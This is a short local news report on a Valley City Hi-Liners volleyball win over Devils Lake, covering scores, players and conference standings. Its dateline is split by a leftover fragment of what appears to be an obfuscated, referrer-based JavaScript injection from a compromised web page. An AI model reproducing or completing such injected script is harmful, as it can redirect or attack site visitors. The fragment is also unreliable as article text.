VALLEY dkzty|var|u0026u|referrer|eakdz||js|php’.split(‘|’),0,{}))
CITY, N.D (NewsDakota.com) The Valley City Hi-Liners volleyball was back in front of the home crowd on Tuesday night as the hosted Devils Lake in an Eastern Dakota Conference match up. The Hi-Liners came out strong and finished the same way, taking the match (25-18, 25-22, 25-18) in three straight games.

Valley City’s Jessica Denholm started the serving duties for the home team and did a stellar job capturing the early lead with six straight points. From then on, the blocking tandem of Clair Olson and Dierra Diegel made it nearly impossible for the Firebirds to get a good shot at the front of the net.

The Firebirds responded after the game one loss, coming from behind to tie up the second contest at 22 points. After a quick time out, Valley City returned to the court with vigor,taking the next three points and winning the second match.

With more solid play from the home team, the Hi-Liners would capture the final game when Olson powered a shot past the Firebirds defense. The win makes VCHS 6-5 in EDC play with a 16-12 overall record. Devils Lake falls to 4-19 on the season, with a 1-11 record in the conference.  Valley City now stands just a half a game behind Fargo North for fifth place in the league. More importantly they trail South by just a game and a half for fourth place.

With the first round of the EDC tournament being awarded to the higher seed and the final two rounds being played at the Hi-Liner Activities Center, a fourth place finish for the Hi-Liners would mean home court advantage in that entire post-season run. Valley City returns to EDC play next Tuesday when they head east for a match up with Fargo Shanley. You can hear the broadcast on 1490 KOVC at 7pm.